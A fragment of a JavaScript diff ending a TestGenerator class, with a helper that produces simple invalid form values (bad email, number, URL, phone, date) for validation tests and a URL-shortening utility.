|
|
315
|
+
return data;
|
|
316
|
+
}
|
|
317
|
+
|
|
318
|
+
_generateInvalidData(field) {
|
|
319
|
+
switch (field.type) {
|
|
320
|
+
case 'email': return { value: 'not-an-email', reason: 'Invalid email format' };
|
|
321
|
+
case 'number': return { value: 'not-a-number', reason: 'Non-numeric value in number field' };
|
|
322
|
+
case 'url': return { value: 'not-a-url', reason: 'Invalid URL format' };
|
|
323
|
+
case 'tel': return { value: 'abc', reason: 'Non-phone value in tel field' };
|
|
324
|
+
case 'date': return { value: '99-99-9999', reason: 'Invalid date format' };
|
|
325
|
+
default: return null;
|
|
326
|
+
}
|
|
327
|
+
}
|
|
328
|
+
|
|
329
|
+
_shortUrl(url) {
|
|
330
|
+
try {
|
|
331
|
+
const u = new URL(url);
|
|
332
|
+
return u.pathname === '/' ? u.hostname : u.pathname;
|
|
333
|
+
} catch {
|
|
334
|
+
return url;
|
|
335
|
+
}
|
|
336
|
+
}
|
|
337
|
+
}
|
|
338
|
+
|
|
339
|
+
export default TestGenerator;
|